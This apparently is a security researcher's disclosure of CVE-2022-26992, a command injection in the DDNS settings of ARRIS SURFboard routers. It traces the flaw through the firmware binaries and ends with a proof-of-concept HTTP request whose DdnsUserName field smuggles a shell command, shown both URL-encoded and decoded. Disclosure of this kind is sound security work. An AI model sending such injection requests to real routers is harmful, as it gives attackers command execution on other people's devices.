CVE-2022-26992: my_vuln/3.md at main · wudipjq/my_vuln

ARRIS Vulnerability

Vendor:ARRIS

Product:SBR-AC1900P、SBR-AC3200P、SBR-AC1200P

Version:1.0.7-B05(Download Link:https://arris.secure.force.com/consumers/ConsumerProductDetail?p=a0ha000000REKViAAP&c=SURFboard%20Routers#panel4)

1.0.7-B05(Download Link:https://arris.secure.force.com/consumers/ConsumerProductDetail?p=a0ha000000OlajgAAB&c=SURFboard%20Routers#panel4)

1.0.5-B05(Download Link:https://arris.secure.force.com/consumers/ConsumerProductDetail?p=a0ha000000RpnMpAAJ&c=SURFboard%20Routers#panel4)

Type:Remote Command Execution

Author:Jiaqian Peng

Institution:[email protected]

Vulnerability description

We found an Command Injection vulnerability in ARRIS router with firmware which was released recently, allows remote attackers to execute arbitrary OS commands from a crafted request.

Remote Command Execution

In setup.cgi binary:

In the router’s ddns function, DdnsUserName、DdnsHostName、DdnsPassword is directly passed by the attacker, so we can control the DdnsUserName、DdnsHostName、DdnsPassword to attack the OS.

As you can see here, the input has not been checked. And then,call the function scnvram_set to store this input.

In rc binary:

In sub_16DD8 function, the initial input will be extracted.

Eventually, in sub_16920、sub_16B98 function, the initial input will cause command injection.

In libcomm_sc.so binary:

Function system is called internally in function _sc_exec.

Supplement

In order to avoid such problems, we believe that the string content should be checked in the input extraction part.

Complete vulnerability verification on SBR-AC1900P product

PoC

We set DdnsUserName as %27%3Bcd+%2Fbin%3B%2Fusr%2Fsbin%2Fls%3E%2Ftmp%2Fwww%2Fhack2.txt%3B%27 , The meaning of this command is ‘;cd /bin;/usr/sbin/ls>/tmp/www/hack2.txt;’，and the router will excute it,such as:

POST /setup.cgi?id=415f51ba HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 179 Origin: http://192.168.1.1 Connection: close Referer: http://192.168.1.1/RgDdns.htm Cookie: RebootType=1 Upgrade-Insecure-Requests: 1

DdnsService=1&DdnsUserName=%27%3Bcd+%2Fbin%3B%2Fusr%2Fsbin%2Fls%3E%2Ftmp%2Fwww%2Fhack2.txt%3B%27&DdnsPassword=abc123&DdnsHostName=pjqwudi&this_file=RgDdns.htm&next_file=RgDdns.htm

Result